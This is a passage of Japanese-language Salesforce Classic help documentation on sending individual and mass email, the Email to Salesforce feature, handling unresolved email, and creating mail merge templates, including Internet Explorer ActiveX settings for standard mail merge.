メールを送信する
• 「メールの送信」

取引先責任者、リード、個人取引先、同僚に、Salesforce Classicの取引先、取引先
責任者、リード、商談、ケース、キャンペーン、カスタムオブジェクトの各ペー
ジから直接メールを送信します。
1. レコードの [活動履歴] 関連リストで、[メールを送信] をクリックします。
2. 書式設定の種類を変更するには、[テキストのみに切り替え] または [HTML に

切り替え] をクリックします。
3. 定義済みのメールテンプレートを使用する場合は、[テンプレートの選択] を

クリックします。
4. 項目に入力します。
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5. [送信] をクリックします。

関連トピック:

Salesforce Classic でのメールの送信に関する考慮事項
メールを処理するためのガイドライン
Salesforce Classic でのメールの一括送信

メールを処理するためのガイドライン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

メール-to-ケースや拡張メールを使用する顧客の情報など、メールを処理するた
めのアドバイスに留意してください。
• メールではカスタム通貨項目を使用できません。
• メールに使用できるレコードタイプは 1 つのみです。
• ワークフロールールでは、ケースの項目を更新するためだけにメールを使用

できます。
• Salesforce Classic では、添付されたファイルの合計が 10 MB を超えない限り、

ファイルをいくつでもメールに添付できます。Lightning Experienceでは、すべ
ての添付ファイルの合計サイズがSalesforceの最大ファイルサイズの制限を超
えることはできません。

• メールに添付したすべてのファイルの合計サイズが 3 MB を超える場合、また
は一括メール送信を使用する場合、実際のファイルは送信時にメールに添付
されません。その代わりに、各ファイルへのリンクがメールに添付されま
す。受信者がリンクをクリックすると、対応する添付ファイルがSalesforce Files で開きます。たとえば、2 つ
の 1.7 MB のファイルをメールに添付して送信すると、受信者が受信するメールには、そのファイルへの 2

つのリンクが添付されます。
• リンクとして送信された添付ファイルは 30 日間保存されます。

メール-to-ケースを使用する組織の場合
• ケースに関連付けられていないメールメッセージは、コミュニティに表示できません。
• EmailMessage オブジェクトを使用するトリガおよびワークフロールールを確認する必要が生じる場合があり

ます。ケースに関連付けられた EmailMessage レコードの場合、ParentID 項目が常に入力されます。拡張
メールでは、EmailMessage レコードが他のレコードと関連付けられ、ParentID 項目は空白になっている場
合があります。その場合、空白の ParentID 項目を使用してメールメッセージを処理するようにトリガお
よびワークフロールールを更新する必要があります。

拡張メールを使用する組織の場合
• メールは、メールメッセージレコードおよび ToDo レコードの両方として保存されます。ただし、メール詳

細ページにはメールメッセージレコードのみが表示され、ToDo レコードは表示されません。
• 組織でビジネスロジックを使用して ToDo とメールを組み込んでいる場合は、次の操作が必要になる場合が

あります。
– メールメッセージオブジェクトのカスタム ToDo 項目を再作成する。
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– ToDo オブジェクトのトリガをメールメッセージオブジェクトに移行する。

関連トピック:

Salesforce Classic でのメールの送信
Salesforce Classic でのメールの一括送信

メールの一括送信に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

メールを一括送信する前に、次の点を考慮します。
• メールを、Salesforce で参照できる取引先責任者、リード、個人取引先、また

はユーザに対して一括で送信できます。
• 標準メール項目が項目レベルのセキュリティによって非表示になっている場

合は、取引先責任者とリードに対する [一括メール送信] リンクが表示されま
せん。

• 一括メールは、標準メール項目のアドレスに送信できます。カスタムメール
項目を使用した一括メール送信はサポートされていません。

• メールを一括送信する前に、取引先責任者、リード、個人取引先、または
ケースのカスタムビューを、メールアドレスを含めずに作成します。検索条
件から、「メール」「次の文字列と一致する」を選択し、検索条件値を空白
のままにします。メールを送信する前に、これらのレコードを更新できます。メールメッセージを送信す
る以外に、メールアドレスを確認する方法はありません。

• Visualforce メールテンプレートを使用して一括メール送信はできません。
• 一括メール送信では、添付ファイルは物理ファイルではなくリンクとして送信されます。受信者がメール

にある添付ファイルのリンクをクリックすると、別のブラウザウィンドウに添付ファイルが開き、受信者
がそのファイルをダウンロードできます。添付ファイルは 30 日間保存されます。

• 一括メール送信機能では重複が認識されず、一括メール送信リストから重複が削除されません。検索条件
を満たすすべてのレコードは、同じメールアドレスを共有していてもリストに取り込まれます。

• メモ: 次の状況では、一括メール送信状況メッセージのアドレス指定数と送信数が異なります。
– 一括メール送信により、組織の 1 日の一括メール送信制限を超過する。この場合、Salesforceはいず

れの受信者にもメッセージを送信しません。
– 一括メール送信がスケジュールされた後、送信処理が実行される前に、選択した 1 人以上の受信者

が一括メールの受信を拒否した。
– 一括メール送信がスケジュールされた後、送信処理が実行される前に、選択された 1 人以上の受信

者メールアドレスが取引先責任者またはリードから削除された。
– 一括メール送信がスケジュールされた後、送信処理が実行される前に、一括メール送信を行った

ユーザが無効になった。Salesforceは、無効になったユーザによってスケジュールされたメールを一
括送信しません。
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Salesforce Classic でのメールの一括送信

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

取引先責任者、個人取引
先、またはリードにメー
ルを一括送信する
• 「一括メール送信」

同僚にメールを一括送信
する
• 「一括メール送信」

および

「ユーザの管理」

メールを一括送信し、[活
動履歴] 関連リストに記録
する
• 「一括メール送信」

および

「ToDo の編集」

メールを取引先責任者、リード、個人取引先、または同僚に一度にまとめて送
信できます。小規模なセールスやサポートで取引先責任者、リード、または個
人取引先のリストにメールを送信します。一括メール送信は、ビジネスプロセ
スの促進を目的としています。メールアプリケーションに代わるものでも、マー
ケティングキャンペーンの一括メールを処理するものでもありません。

メモ: 組織の共有アドレスは、一括メール送信には使用できません。
1. 一括メールの受信者に応じて、次のいずれかの操作を実行します。

取引先責任者または個人取引先の場合
[取引先責任者] または [ケース] タブで、ページの下部にある [ツール] セク
ションの [取引先責任者の一括メール送信]をクリックします。Salesforce組
織で個人取引先を使用している場合は、[取引先] タブにもこのリンクが表
示されます。

リードの場合
[リード] タブで、ページの下部にある [ツール] セクションの [リードの一
括メール送信] をクリックします。

同僚 (他の Salesforce ユーザ) の場合
「ユーザの管理」権限がある場合は、[設定] から [クイック検索] ボック
スに「ユーザの一括メール送信」と入力し、[ユーザの一括メール送信] を
選択します。

2. 受信者のリストビューを選択して、[Go!] をクリックします。
3. デフォルトでは、リストビュー内のすべての受信者が選択されます。メール

受信者を削除するには、その受信者を選択解除します。
4. [次へ] をクリックします。
5. メールテンプレートを選択します。
6. テンプレートを表示するには、[プレビュー] リンクをクリックします。
7. [次へ] をクリックします。
8. 確認ページで、使用する処理オプションを選択します。指定した一括メール送信名は、Salesforce から受信

するキューおよび状況メッセージにのみ表示され、送信先のメールには表示されません。
9. [送信オプション] で、メールを送信するか、メールを送信する将来の日付とタイムゾーンを選択します。
10. [送信] をクリックして、[完了] をクリックします。

関連トピック:

メールの一括送信に関する考慮事項
メールの一括送信に関するガイドライン
一括メール送信の状況の表示
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メールの一括送信に関するガイドライン

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

メールを一括送信するときは、次のガイドラインで追加情報を参照してくださ
い。
• デフォルトでは、[私の取引先責任者] ビュー、[私のリード] ビュー、[有効ユー

ザ] ビュー、または [私のケース] ビューに、全レコードがメールアドレスと
共に表示されます。メール受信者リストを変更するには、カスタムビューを
作成します。レコードにメールアドレスが含まれていない場合や、[メール
送信除外] が選択されている場合は、取引先責任者、リード、個人取引先が
メールリストビューに表示されません。個人取引先は、取引先責任者リスト
ビューに表示されます。

• メールテンプレートプレビューウィンドウに、{!Account.AccountNumber}

のように差し込み項目が組み込まれた状態でテンプレートが表示されます。
メールの送信時には、差し込み項目で指定した箇所に受信者のレコードまたは代替テキストが挿入されま
す。

• [活動履歴に残す]が選択されている場合 (デフォルト)、[活動履歴] の項目が、取引先責任者、リード、また
は個人取引先に関連付けられ、「一括メール送信:<テンプレートの説明>」の形式で表示されます。メール
の件名、本文、および添付ファイルは、[活動履歴] 項目には保存されません。[活動履歴] の項目を記録する
には、メール受信者リストにあるレコードの参照または編集権限と「ToDo の編集」権限が必要です。

• メール送信オプション [一括メール送信が完了したら、送信者に通知する] がオンになっている場合は、一
括メールを送信するたびに、Salesforce から自動生成された状況メールを受信します。この状況メールの件
名には、一括メール送信時に [一括メール送信名] 項目に入力した値が表示されます。

• スケジュールした一括メール送信を参照およびキャンセルするには、個人設定から [クイック検索]ボック
スに「一括メール送信」と入力し、[一括メール送信] または [私の一括メール送信] を選択します。
「ユーザの管理」権限があり、社内の他のユーザがスケジュールした一括メール送信を参照およびキャン
セルするには、[設定] から [クイック検索]ボックスに「一括メール送信」と入力し、[一括メール送信]を選
択します。

関連トピック:

Salesforce Classic でのメールの一括送信
Salesforce から送信するメールの到達性設定のガイドライン
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一括メール送信の状況の表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

一括メールを送信するたびに自動生成される状況メールでその実態を把握しま
す。
1. 一括メール送信のメール通知を受信するようにSalesforce組織が設定されてい

ることを確認します。サポートが必要な場合は、Salesforce システム管理者に
お問い合わせください。

2. 一括メール送信の作成時に、[一括メール送信名]項目に値を入力します。こ
の値は状況メールの件名に表示されます。

3. 一括メールを送信します。
受信する状況メッセージに、一括メールでアドレス指定された受信者数と送
信された受信者数が示されます。

関連トピック:

メールの一括送信に関するガイドライン
Salesforce から送信するメールの到達性設定のガイドライン

[メール to Salesforce] を使用したメールの Salesforce レコードへの関連付け

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

メールをリード、取引先責任者、および商談、または Salesforce のその他の特定
のレコードに関連付けます。この処理により、営業関連のコミュニケーション
を簡単に追跡できます。

[メール to Salesforce] のしくみ
外部メールアプリケーションからメールを送信するときは、[メール to Salesforce]

を使用します。このようなメールは、Salesforce のリード、取引先責任者、商
談のレコードに自動的に関連付けられます。
[メール to Salesforce] の使用に関する考慮事項
[メール to Salesforce] を使用する前に、次の点を考慮します。
[メール to Salesforce] の設定
[メール to Salesforce] を使用するために、まず設定を行います。
[メール to Salesforce] を使用したメールの Salesforce レコードへの関連付け
[メール to Salesforce] では、営業関連のメールをSalesforceで追跡できます。外部メールアプリケーションで送
信したメールを、リード、取引先責任者、商談、その他のSalesforce固有のレコードに関連付けてください。
[メール to Salesforce] の使用に関するガイドライン
[メール to Salesforce] を使用するときは、追加情報の次の点を確認してください。
[メール to Salesforce] でレコードに割り当てられないメールの処理
[メール to Salesforce] またはSalesforce for Outlookを使用してメールがSalesforceに送信されるときに、一部のメー
ルは、[メール to Salesforce] 設定に基づいて関連レコードに割り当てられます。その他のメールは、[私の未
解決の項目] に追加されます。ユーザはここで、メールを関連するSalesforceレコードに割り当てるか、未割
り当てのままにすることを確認します。
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[メール to Salesforce] のしくみ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

外部メールアプリケーションからメールを送信するときは、[メール to Salesforce]

を使用します。このようなメールは、Salesforce のリード、取引先責任者、商談
のレコードに自動的に関連付けられます。
メールを作成、転送、または返信するときに、[BCC] 項目 (または他の受信者項
目) に特別な [メール to Salesforce] アドレスを入力します。Salesforce がメールのコ
ピーを受信します。Salesforce は設定に応じて、そのメールを、そのアドレスが
受信者のメールアドレスと一致するレコードの [活動履歴] 関連リストに追加す
るか、[私の未解決の項目] ページに追加します。ユーザは [私の未解決の項目]

ページから、手動でメールをレコードに割り当てることができます。未割り当
てのメールも、未完了の ToDo リストに表示されます。

リード、取引先責任者、商談へのメールの関連付け
メールを一致するリードや取引先責任者に関連付けるように [メール to Salesforce] を設定した場合、Salesforceは、
リードや取引先責任者のメールアドレスに該当する [宛先] および CC 項目を検索します。リードまたは取引
先責任者が見つかると、そのメールは該当するレコードの [活動履歴] 関連リストに保存されます。
メールを一致する商談に関連付けるように [メール to Salesforce] を設定した場合、Salesforce は、取引先責任者の
メールアドレスに該当する [宛先] および CC 項目を検索します。取引先責任者が見つかると、その取引先責
任者に商談の取引先責任者ロールが割り当てられている場合、進行中のすべての商談について、[活動履歴] 関
連リストにメールが保存されます。
ユーザが Salesforce に追加したメールの [宛先] および CC 項目に表示される受信者のメールアドレスと一致し
ない場合は、[私の未解決の項目] ページにメールごとに 1 行のみが表示されます。

特定のレコードへのメールの関連付け
メールを特定の Salesforce レコードに関連付けるには、レコード ID をメールの件名または本文に挿入します。
メールを一致するリード、取引先責任者、または商談に関連付けるように [メール to Salesforce] を設定した場合
に、メールが一致するメールアドレスではなく、レコード ID を使用してリード、取引先責任者、または商談
に関連付られたときは、未解決の ToDo が作成されます。たとえば、一致するリードに関連付けるようにメー
ルを設定したとします。メールの本文または件名行にリードレコード ID を入力してメールを [メール to Salesforce]

のアドレスに直接送信すると、そのメールはリードと関連付けられて、未解決の ToDo が作成されます。

使用開始
Salesforce システム管理者が [メール to Salesforce] を有効にすると、システムで生成された [メール to Salesforce] ア
ドレスが記載されたメールがユーザに送信されます。このアドレスは個人設定にも表示されます。
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[メール to Salesforce] を使用する前に個人設定にアクセスして設定を行います。

関連トピック:

[メール to Salesforce] の使用に関する考慮事項
[メール to Salesforce] の設定
[メール to Salesforce] を使用したメールの Salesforce レコードへの関連付け
[メール to Salesforce] の使用に関するガイドライン

[メール to Salesforce] の使用に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

[メール to Salesforce] を使用する前に、次の点を考慮します。
一般的な考慮事項
• [メール to Salesforce] を使用し、IBM® Lotus Notes® や Microsoft® Outlook® などの外部

メールアプリケーション、および Gmail® や Yahoo! Mail® などの Web メールに
よって送信されたメールを取得します。

• [メール to Salesforce] では、[宛先]および CC項目のメールアドレスを、[メー
ル] 標準項目のメールアドレスと照合します。[メール to Salesforce] は、カス
タムメール項目の照合をサポートしません。

• Salesforce は、無効な ID や、ユーザに参照アクセス権のないレコードの ID を無視します。
• Salesforce for Outlookで [メールを追加] 機能を使用するには、[メール to Salesforce] が必要です。一方の機能を無

効にすると、もう一方の機能も無効になります。Salesforce for Outlookでは、BCC項目ではなく、[メールを追
加] と [送信と追加] を使用してメールを追加します。

• BCC 項目に受信者のメールアドレスを入力すると、そのアドレスの所有者がメールを受信しますが、メー
ルはそのメールアドレスを含むレコードに関連付けられません。

制限
• [メール to Salesforce] で照合できるメールアドレスの最大数は 50 です。[宛先] および CC 項目のアドレスの

合計数がこの制限を超えた場合、[メール to Salesforce] はメールの最初から 50 の一意のアドレスのみを処理
します。

• [メール to Salesforce] では、受信メール 1 件につき最大 50 のメール活動を作成できます。各メールタスクレ
コードに最大 50 件の取引先責任者を関連付けることができます。

• 添付ファイルのサイズ制限は、関連リストに直接添付されている場合は 25 MB です。メールメッセージ (添
付ファイルを含む) のサイズ制限は 25 MB です。一致するレコードごとに、メール送信されるすべての添付
ファイルが重複するため、データの容量制限に影響します。追加されない添付ファイルはすべて、Salesforce

から送信される確認メールにリストされます。
• メールテキストおよび HTML は、32 KB で切り捨てられます。
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[メール to Salesforce] の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

[メール to Salesforce] を使用するために、まず設定を行います。
1. 個人設定から、[クイック検索] ボックスに「メール to Salesforce」と入

力し、[私のメール to Salesforce] を選択します。
2. 自分のメールアドレスを [私の受け入れ可能メールアドレス]に入力します。

複数のアドレスからメールを送信する場合は、各アドレスをカンマで区切り
ます。

重要:  [メール to Salesforce] アドレスは、ここにリストされたアドレスか
らのメールのみを受け入れます。メールアドレスをリストしない場合
は、[メール to Salesforce] アドレスに送信されたメールはどのレコードに
も関連付けられません。

3. [メールの関連付け] で、必要に応じてオプションを選択します。
4. [除外ドメイン] で複数のメールドメインを自動関連付けから除外する場合は、ドメインをカンマで区切り

ます。
5. [保存] をクリックします。

関連トピック:

[メール to Salesforce] の使用に関する考慮事項
[メール to Salesforce] を使用したメールの Salesforce レコードへの関連付け
[メール to Salesforce] の使用に関するガイドライン

[メール to Salesforce] を使用したメールの Salesforce レコードへの関連付け

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

[メール to Salesforce] では、営業関連のメールを Salesforce で追跡できます。外部
メールアプリケーションで送信したメールを、リード、取引先責任者、商談、
その他の Salesforce 固有のレコードに関連付けてください。
外部メールアプリケーションから送信したメールを、リード、取引先責任者、
商談に関連付ける手順は、次のとおりです。
1. [私のメール to Salesforce] 設定ページの [私の受け入れ可能メールアドレス] に

リストされているメールアカウントからメールを作成します。
2. [メール to Salesforce] アドレスを BCC 項目に入力します。
3. メール受信者を [宛先] 項目と CC 項目に入力します。
4. メールを送信します。
外部へ送信したメールを特定の Salesforce レコードに関連付ける手順は、次のとおりです。
1. [私のメール to Salesforce] 設定ページの [私の受け入れ可能メールアドレス]にリストされているメールアカウ

ントからメールを作成します。
2. メールを関連付けるレコードのレコード ID を探します。レコード ID は、15 桁の大文字小文字を区別する英

数字コードで、レコードの URL の末尾に示されます。
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3. メールの件名や本文に、「ref:」に続けてレコード ID を入力します。例: ref: 701D0000000HQZy

4. [メール to Salesforce] アドレスを [宛先]、CC、または BCC 項目に入力します。
5. メールを送信します。

関連トピック:

[メール to Salesforce] の使用に関する考慮事項
[メール to Salesforce] の使用に関するガイドライン
[メール to Salesforce] の設定

[メール to Salesforce] の使用に関するガイドライン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

[メール to Salesforce] を使用するときは、追加情報の次の点を確認してください。
一般的なガイドライン
• [メール to Salesforce] アドレスをメールプログラムのアドレス帳に追加して、

簡単に探せるようにします。
• [メール To Salesforce] を使用してメールアクティビティとしてメッセージを保

存する場合は、[メール送信のデフォルト]によってデフォルトの ToDo タイプ
が指定されます。デフォルト値を変更するには、[ToDo の種別]選択リスト
項目を編集します。

• 除外されたドメインからのメールは、[私の未解決の項目] に表示されます。ここで、メールを手動で割り
当てるか、未割り当てのままにします。

• メッセージを別のユーザに送信せず、メール活動として保存するには、[宛先] 項目に [メール To Salesforce]

アドレスを入力してメールを転送します。[宛先]、CC、または BCC項目に他のメードアドレスがないこと
を確認します。Salesforce はそのメールのコピーを受信し、転送されたメールの [送信者]、[宛先]、および
CC項目にリードおよび取引先責任者のメールアドレスがないか検索します。Salesforceリードまたは取引先
責任者が見つかると、そのメールは該当するレコードの [活動履歴] 関連リストに保存されます。

• [メール to Salesforce] でメールアドレスがSalesforceの複数のリードまたは取引先責任者レコードと一致する場
合は、そのメールを、一致するすべてのレコード、最も古いレコード、活動が最も多いレコードのいずれ
かに関連付けることができます。

• [メール to Salesforce] がSalesforce内の複数の商談レコードへのメールアドレスと一致する場合、メールは一致
するすべての進行中のレコードの活動履歴に追加されます。

レコード ID

• レコード ID は、15 桁の大文字小文字を区別する英数字コードで、レコードの URL の末尾に示されます。た
とえば、キャンペーンレコードの詳細ページを表示すると、URL が
https://yourInstance.salesforce.com/701D0000000HQZyのように示されます。このレコードのレ
コード ID は「701D0000000HQZy」です。

• レコード ID は、個々の行に入力することも、()、[]、{} で囲んでメール本文テキストに入力することもでき
ます。たとえば、(ref: 701D0000000HQZy) とします。複数のレコード ID はカンマで区切ります。たと
えば、「ref: 701D0000000HQZy, 801D0000000IRAz, 901D0000000JSBa」と入力します。
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[メール to Salesforce] でレコードに割り当てられないメールの処理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方
(Windows システムトレイ
から Salesforce for Outlook
項目を解決するようメッ
セージが表示された場合
のみ)

使用可能なエディション:
すべてのエディション

ユーザ権限

未解決のメールを表示ま
たは編集する
• ToDo に対する「編

集」、メールに割り当
てるオブジェクトに対
する「参照」

および

[メール to Salesforce]

または

Salesforce for Outlook お
よび [メール to
Salesforce] の「メール
を追加」

Salesforce レコードを作成
する
• ToDo に対する「編

集」

および

それらのオブジェクト
に対する「簡易作成の
表示」および「作成」

最近使用したデータを関
連レコード項目に表示す
る
• 検索設定での「ルック

アップのオートコンプ
リート」

[メール to Salesforce] または Salesforce for Outlook を使用してメールが Salesforce に送
信されるときに、一部のメールは、[メール to Salesforce] 設定に基づいて関連レ
コードに割り当てられます。その他のメールは、[私の未解決の項目] に追加され
ます。ユーザはここで、メールを関連する Salesforce レコードに割り当てるか、
未割り当てのままにすることを確認します。
1. [私の未解決の項目] の未割り当てのメールにアクセスします。
2. 次のいずれかのアクションを選択します。

• 関連レコードに割り当てる: 一方または両方の項目に関連レコードを入力
します。必要に応じて、ドロップダウンリストから正しいレコードタイ
プを選択します。リードを割り当てる場合、複数のレコードを割り当て
ることはできません。割り当てをキャンセルするには、入力をクリアし
ます。

• 未割り当てのままにする: 件名から「未解決のメール:」というテキストが
削除され、メールが完了した ToDo としてユーザに割り当てられます。ToDo

の [状況]選択リストに複数の「完了」状況が含まれる場合は、最初のも
のが使用されます。

3. 変更内容を保存します。
割り当て済みのメールが関連付けられたレコードに追加されます。変更した
項目はすべて、リストから削除されます。

FAQ - Salesforce インテグレーションメールの使用

Salesforce を使用して一括メールを送信できますか?
マーケティングメールの一括送信を行う場合は、Salesforce Marketing Cloud または
AppExchange のサードパーティ製アプリケーションを使用し、メールキャンペー
ンを一元的に管理して応答を追跡できるようにすることをお勧めします。これ
らのツールにより、マーケティングチームは評価済みリードの数と、メールキャ
ンペーンの ROI を常に把握できるようになります。
営業メールの一括送信を行う場合は、Salesforce Classicで [取引先責任者]をクリッ
クします。[ツール] セクションで[取引先責任者の一括メール送信]を選択してか
ら一括メール送信ウィザードに従います。

関連トピック:

インポートに関する一般的な質問
Salesforce Classic でのメールの一括送信
Salesforce を使用して HTML メールを送信できますか?
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Salesforce を使用して HTML メールを送信できますか?
はい。Salesforce を使用して HTML メールを取引先責任者、リード、個人取引先、および組織内のユーザに送信
できます。個人へのメール送信、複数の取引先責任者への一括メール送信、および頻繁に送信する HTML メー
ルのテンプレートの設定を行えます。

関連トピック:

HTML メールテンプレートの作成
インポートに関する一般的な質問
Salesforce Classic でのメールの送信

テンプレートを使用した定型レターの生成

差し込み印刷

エディション

この機能は、Salesforce
Classic で使用可能です。

使用可能なエディション:
すべてのエディション

差し込み印刷は、定型レターや受信者 (取引先責任者またはリードなど) 用にカ
スタマイズされた他の Microsoft® Word ドキュメントを生成するプロセスです。各
ドキュメントのコンテンツは、差し込み印刷テンプレートで定義済みです。差
し込み印刷テンプレートには、作成されたドキュメントに、取引先責任者の名
前や住所など、自分の Salesforce レコードのデータを表示する差し込み項目と呼
ばれる変数があります。

重要: Salesforceでは、TLS 1.0 の無効化に伴い、標準差し込み印刷のサポート
を終了します。この変更により、営業担当は Microsoft® Word で差し込み印刷
ドキュメントを生成できなくなります。営業担当が機能を使用できたとし
ても、Salesforce は問題が発生した場合のサポートやメンテナンスは提供し
ません。ただし、ご安心ください。拡張差し込み印刷に移行することで、
Salesforce データを使用した差し込み印刷を引き続き実行できます。

メモ: 標準差し込み印刷には次の要件があります。
• Microsoft® Internet Explorer® バージョン 9、10、11

• Microsoft Word 2003 または 2007

• Microsoft Windows Vista® (32 ビットのみ) - Salesforce が TLS 1.0 を無効化するまで。

個別差し込み印刷ドキュメントの生成
個々のレコードの Microsoft Word ドキュメントを生成するには、レコードの詳細ページを開き、[活動履歴] 関連
リストで [差し込み印刷] をクリックします。

関連トピック:

差し込み印刷用 ActiveX コントロールのインストール
拡張差し込み印刷を使用した一括差し込み印刷ドキュメントの生成
個別差し込み印刷ドキュメントの送信
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差し込み印刷用 ActiveX コントロールのインストール
Salesforce では、TLS 1.0 の無効化に伴い、標準差し込み印刷のサポートを終了します。Salesforce データを使用し
た差し込み印刷の作成を継続するには、Salesforceカスタマーサポートに連絡して拡張差し込み印刷を有効にし
てください。

重要: Salesforce では、TLS 1.0 の無効化に伴い、標準差し込み印刷のサポートを終了します。この変更によ
り、営業担当は Microsoft® Word で差し込み印刷ドキュメントを生成できなくなります。営業担当が機能を
使用できたとしても、Salesforce は問題が発生した場合のサポートやメンテナンスは提供しません。ただ
し、ご安心ください。拡張差し込み印刷に移行することで、Salesforceデータを使用した差し込み印刷を引
き続き実行できます。

標準の差し込み印刷では、差し込み印刷ドキュメントを最初に生成したときに、Salesforce と Word との対話処
理をサポートするために ActiveX コントロールをインストールする必要があります。ActiveX コントロールをダ
ウンロードするには、十分な管理者権限を持つ Windows ユーザとしてログインする必要があります。ActiveX コ
ントロールをダウンロードできない場合は、社内の IT 部署または Windows システム管理者にお問い合わせくだ
さい。
標準差し込み印刷には次の要件があります。
• Microsoft® Internet Explorer® バージョン 9、10、11

• Microsoft Word 2003 または 2007

• Microsoft Windows Vista® (32 ビットのみ) - Salesforce が TLS 1.0 を無効化するまで。
Web ブラウザの ActiveX コントロール設定を次のように設定します。
1. [ツール] > [インターネットオプション] をクリックして、[インターネットオプション] ダイアログを開きま

す。
2. [セキュリティ] タブをクリックします。
3. [インターネット] ゾーンのアイコンをクリックしてから、[レベルのカスタマイズ] をクリックします。
4. [ActiveX コントロールとプラグイン] エリアの [署名済み ActiveX コントロールのダウンロード]、[ActiveX コン

トロールとプラグインの実行]、および [スクリプトを実行しても安全だとマークされている ActiveX コント
ロールのスクリプトの実行] で、[有効化] または [プロンプト] を選択します。

5. [ダウンロード] エリアの [ファイルのダウンロード] 設定で、[有効化] を選択します。
6. [OK] をクリックします。
7. [信頼済みサイト] ゾーンで、上記と同じ設定を繰り返します。
8. [サイト]ボタンをクリックし、https://*.salesforce.comがリストに登録されていることを確認して、

必ず Salesforce が信頼済みサイトになるようにしてください。信頼済みサイトとして登録されていない場合
は、テキストボックスに https://*.salesforce.comと入力し、[追加]をクリックします。[OK]をクリッ
クします。

9. [インターネットオプション] ダイアログの [詳細設定] タブをクリックします。
10. [設定] ボックスの下部にある [セキュリティ] エリアで、[暗号化されたページをディスクに保存しない] の

チェックボックスが空白でオフになっていることを確認します。
11. [OK] をクリックします。
12. 加えた変更を適用するために、Internet Explorer の再起動が必要なことがあります。
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Internet Explorer 7 または 8 を使用している場合は、差し込み印刷の最初の実行時に[例外: 自動サーバはオブジェ
クトを作成できませんでした]というポップアップメッセージが表示されることがあります。このメッセージは
無視してください。[OK]をクリックしてポップアップウィンドウを閉じ、差し込み印刷を続行してください。

メモ: 拡張差し込み印刷には、ActiveX コントロールのインストールは必要ありません。

関連トピック:

差し込み印刷

テンプレートの管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

システム管理者は、レターヘッドの定義、送信するメール、および差し込み印
刷用ドキュメントの生成に使用するテンプレートを作成、管理できます。
• レターヘッドは、HTML メールテンプレートのデザインを定義します。レター

ヘッドからは、使用するロゴ、ページの色、およびテキスト設定を HTML メー
ルテンプレートに継承できます。

• メールテンプレートにより、定義済みのテンプレートを使用して、取引先責
任者、リード、およびその他にメールを送信できます。

• 差し込み印刷テンプレートを使用すると、レコードの情報を使用して、カス
タムドキュメントを作成できます。たとえば、特定のリード宛のカスタマイ
ズされた礼状を作成できます。

関連トピック:

レターヘッドの作成
メールテンプレートの管理
差し込み印刷テンプレートの管理
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差し込み印刷テンプレートの作成

エディション

この機能は、Salesforce
Classic で使用可能です。

使用可能なエディション:
すべてのエディション

ユーザ権限

差し込み印刷テンプレー
トをアップロードする
• 「公開テンプレートの

管理」

差し込み印刷テンプレー
トを編集する
• 「公開テンプレートの

管理」

1. Microsoft® Word 2007 で新規に白紙のドキュメントを開きます。
2. Word を使用して、ユーザが必要とするテキスト、データ、および書式設定を

含んだドキュメントを作成します。
3. Word ドキュメント内に、そのテンプレートが使用されるたびに変わるテキス

ト変数やデータ変数を置きます。たとえば、「田中様、」という挨拶の「田
中」は、異なる相手に送る場合には変わってくるため変数です。

4. 各変数を該当する Salesforce 差し込み項目で置き換えます。

重要: 使用する各差し込み印刷項目表示ラベルは一意である必要があり
ます。

a. 差し込み項目を挿入する位置にカーソルを置きます。
b. Word 2007 では、リボンの [挿入] タブを選択し、[テキスト] グループから

[クイックパーツ] をクリックし、次に [項目] をクリックします。
c. [カテゴリ] ドロップダウンリストから [差し込み印刷] を選択します。
d. [項目名] ボックスの [MergeField] を選択します。
e. [項目名] ボックスの [項目プロパティ] エリアで、

Opportunity_LineItem_ProductNameなどの有効な差し込み項目を手
動で入力します。Salesforce 組織で使用できる標準項目およびカスタム項目の完全なリストを作成する方
法については、「Locate Record Field Names for Mail Merge」の記事を参照してください。

f. [OK] をクリックします。

メモ: 商談に関連付けられているすべての商品に関する情報を一覧表示するには、商品情報の表示
を開始する位置に Opportunity_LineItem_Start 差し込み項目を挿入します。その後に、商談
の各商品に追加するすべての差し込み項目を挿入します。最後に、Opportunity_LineItem_End

を挿入してリストを終了します。

5. Word ドキュメントを保存します。
6. 差し込み印刷テンプレートの Salesforce へのアップロード (ページ 1894)に進みます。

ヒント: 最良の結果を得るには:

• 差し込み印刷テンプレートには、Microsoft Word で「保護」や「アクセス制限」を設定しないでくださ
い。保護された Word ドキュメントについては、Word のヘルプを参照してください (Word で F1 キーを
押すと、ヘルプが開きます)。

• 差し込み印刷テンプレートを、Excel ワークシートや Access データベースなどの外部ソースと接続しな
いでください。Word が「標準の Word 文書」と呼ぶドキュメントへの差し込み印刷ドキュメントの保
存については、Word のヘルプを参照してください。

関連トピック:

差し込み印刷テンプレートの管理
差し込み印刷
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既存の差し込み印刷テンプレートの変更

エディション

この機能は、Salesforce
Classic で使用可能です。

使用可能なエディション:
すべてのエディション

ユーザ権限

差し込み印刷テンプレー
トをアップロードする
• 「公開テンプレートの

管理」

差し込み印刷テンプレー
トを編集する
• 「公開テンプレートの

管理」

1. 差し込み印刷テンプレートのサンプルをダウンロードして、ハードドライブ
の任意のディレクトリに展開します。

